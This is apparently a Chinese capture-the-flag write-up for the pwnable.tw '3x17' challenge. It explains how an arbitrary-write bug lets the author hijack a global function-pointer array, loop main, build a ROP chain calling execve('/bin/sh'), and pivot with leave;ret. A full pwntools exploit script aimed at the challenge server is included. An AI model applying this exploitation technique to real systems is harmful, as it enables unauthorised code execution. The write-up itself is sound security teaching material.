[pwnable.tw]3*17

分析程序

  • 程序功能:任意地址写
    0x402960处会调用以全局数组存放的地址的函数,此处可以控制程序的执行流。我们先把此处数组中地址改为main函数的地址,以此死循环不断执行main函数,以便构造ROP。
    经过调试可知,这个数组的地址为0x4b40f0
text:0000000000402988 loc_402988:                             ; CODE XREF: vlun+34↓j
.text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]
.text:000000000040298C                 sub     rbx, 1
.text:0000000000402990                 cmp     rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994                 jnz     short loc_402988

当我们写入完ROP后,再修改地址为leave_ret,就可以控制执行流到esp+0x10,即0x4b4100的地方了。即可执行ROP流

构造ROP

ROPchain=[p64(pop_rdi),p64(bin_sh_addr),p64(pop_rax),p64(0x3b),p64(pop_rdx_rsi),p64(0),p64(0),p64(syscall_addr)]

满足条件:

rax=0x3b
rdx=0
rsi=0
rdi=  /bin/sh addr

然后利用syscall即可(随便找一个read或者write中,就有syscall的封装调用)

EXP

from pwn import *

#p=process('./3')
p=remote('chall.pwnable.tw',10105)

called_vuln_addr=0x402960
called_array_addr=0x4b40f0
main_addr=0x401b6d

#ROPgadget --binary 3 --only "pop|ret"|
pop_rdi=0x401696  #pop rdi ; ret
pop_rax=0x41e4af
pop_rdx_rsi=0x44a309
bin_sh_addr=0x4b4140
syscall_addr=0x446e2c
leave_ret_addr=0x401c4b  #ROPgadget --binary 3 |grep leave  
esp=0x4b4100

# use called_vuln_addr to return to main
p.recv()
p.sendline(str(called_array_addr))
p.recv()
p.send(p64(called_vuln_addr)+p64(main_addr))
#p.interactive()

def write(content):#write 8B each time on ESP stack
    global esp
    p.sendlineafter("addr:",str(esp))
    p.sendlineafter("data:",str(content))
    log.success(hex(esp)+': '+str(content))
    esp+=8
    

ROPchain=[p64(pop_rdi),p64(bin_sh_addr),p64(pop_rax),p64(0x3b),p64(pop_rdx_rsi),p64(0),p64(0),p64(syscall_addr)]
for i in range(len(ROPchain)):
    write(ROPchain[i])
write("/bin/sh\x00")

#ret to TOP
p.sendlineafter("addr:",str(called_array_addr))
p.sendafter("data:",p64(leave_ret_addr))

p.interactive()

注意点

小坑:最后写/bin/sh字符串的时候一定要加上\x00,来截断字符串,不然无法成功执行。即"/bin/sh\x00"

推荐阅读更多精彩内容